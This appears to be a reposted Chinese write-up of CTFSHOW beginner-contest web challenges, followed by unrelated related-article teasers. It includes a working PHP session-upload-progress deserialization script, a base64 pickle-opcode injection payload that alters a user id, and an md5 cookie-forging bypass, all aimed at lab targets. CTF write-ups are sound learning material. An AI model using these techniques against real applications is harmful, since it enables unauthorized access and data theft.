【Web】CTFSHOW 新手杯 题解

devtools/2024/9/26 1:23:56/

目录

easy_eval 

剪刀石头布 

baby_pickle

repairman


easy_eval 

用script标签来绕过

剪刀石头布 

需要赢100轮🤔

右键查看源码拿到提示

一眼session反序列化

打PHP_SESSION_UPLOAD_PROGRESS

 脚本

import requestsp1 = '''a|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}'''
url = 'http://a543ddd6-f753-4755-9dcf-240ac649a8bc.challenge.ctf.show/'
session = requests.session()
file = {'file': (p1, 'aaa')}
data = {"PHP_SESSION_UPLOAD_PROGRESS": 123}
cookie = {'PHPSESSID': '46a13ded76233da86f438741ccf8f178'}
resp = session.post(url=url, data=data, files=file, cookies=cookie, proxies={'http': '127.0.0.1:8080'})
print(resp.text)

发包,拿到flag

baby_pickle

当id为0时可以拿到flag

先本地起个服务,先直接请求,再请求?name=Z3r4y,拿到new_rookie_info和Z3r4y_info

ccopy_reg
_reconstructor
(c__main__
Rookie
c__builtin__
object
NtR(dVname
Vnew_rookie
sVid
I2
sb.
ccopy_reg
_reconstructor
(c__main__
Rookie
c__builtin__
object
NtR(dVname
VZ3r4y
sVid
I3
sb.

 对比一下,其实就是要让I3为I1就可,sb后的.起到截断作用,id在name之后,name是我们可控的

可以在/change路由进行打入,用newname替换name

payload:

?name=Z3r4y
/change?name=WjNyNHk=&newname=WjNyNHkKc1ZpZApJMApzYi4=
/dacaiji?name=Z3r4y

 

repairman

注意到存在mode传参

令mode为0看到源码

$secret为$_COOKIE[secret],直接引用绕过了

<?php
$config['secret'] = Array();
$secret = md5('admin'.$config['secret']);
echo $secret;
//da53eb34c1bc6ce7bbfcedf200148106

 运行结果插到cookie里,而后便可为所欲为


http://www.ppmy.cn/devtools/35055.html

相关文章

【Vue3源码学习】— CH3.3 renderer.ts详解

renderer.ts详解 1.概念理解1.1 主要功能1.2 核心函数1.3 流程说明1.4 学习 render.ts2.createRenderer2.1 源码解析2.2 代码解释2.2.1 泛型参数2.2.2 函数参数2.3 使用示例2.4 总结1.概念理解 1.1 主要功能 功能描述渲染和更新 DOM渲染器的核心职责是将 VNode 树转换成 DOM 树…

第二十六章 版本管理 - GIT

文章目录 一、版本管理二、版本管理工具的常见概念三、git的安装和使用1. 安装2. 基础使用流程&#xff08;本地仓库&#xff09;3. 辅助命令4. 远程仓库操作5. git的分支6. 注意&#xff1a;7. 团队协作时分支处理8. 补充&#xff1a; 一、版本管理 什么是版本&#xff1a;一…

Docker私有仓库与Harbor部署使用

目录 一、本地私有仓库 1. 下载registry镜像 2. 在daemon.json文件中添加私有镜像仓库地址 ​编辑 3. 运行registry容器 4. Docker容器的重启策略如下 5. 为镜像打标签 6. 上传到私有仓库 7. 列出私有仓库的所有镜像 8. 列出私有仓库的centos镜像有哪些tag 9. 先删…

hadoop学习---基于hive的数仓搭建增量信息拉链表的实现

拉链表就是SCD2&#xff0c;它的优点是即满足了反应数据的历史状态&#xff0c;又能在最大程度上节省存储。 拉链表的实现需要在原始字段基础上增加两个新字段&#xff1a; start_time(表示该条记录的生命周期开始时间——周期快照时的状态)end_time(该条记录的生命周期结束时…

PyTorch中 DataLoader 和 TensorDataset 的详细解析

DataLoader 和 TensorDataset PyTorch DataLoader 和 TensorDataset 的详细解析DataLoader 介绍DataLoader 的核心功能 TensorDataset 介绍TensorDataset 的核心功能 使用 DataLoader 和 TensorDataset 加载数据关键内容解析 结论 PyTorch DataLoader 和 TensorDataset 的详细解…

宏电全栈式IoT赋能供排水智能监测,护航城市生命线

城市供水、排水系统是维系城市正常运行、满足群众生产生活需要的重要基础设施&#xff0c;是城市的“生命线”。随着城市化进程加快&#xff0c;城市规模不断扩大&#xff0c;地下管线增长迅速&#xff0c;城市“生命线安全”的监管日益面临挑战。 宏电作为物联网行业的领航者…

数据库(MySQL)—— DQL语句(基本查询和条件查询)

数据库&#xff08;MySQL&#xff09;—— DQL语句&#xff08;基本查询和条件查询&#xff09; 什么是DQL语句基本查询查询多个字段字段设置别名去除重复记录 条件查询语法条件 我们今天进入MySQL的DQL语句的学习&#xff1a; 什么是DQL语句 MySQL中的DQL&#xff08;Data Q…

torch.unique_consecutive

就是将原始的torch去除重复的部分 原理 输入参数主要三个 x&#xff08;必选&#xff09; return_inverse 【bool形】&#xff08;是否返回输出对应数字在原torch中的下标&#xff09;{可选} return_counts【bool形】&#xff08;是否返回输出对应数字的重复次数&#xff09;…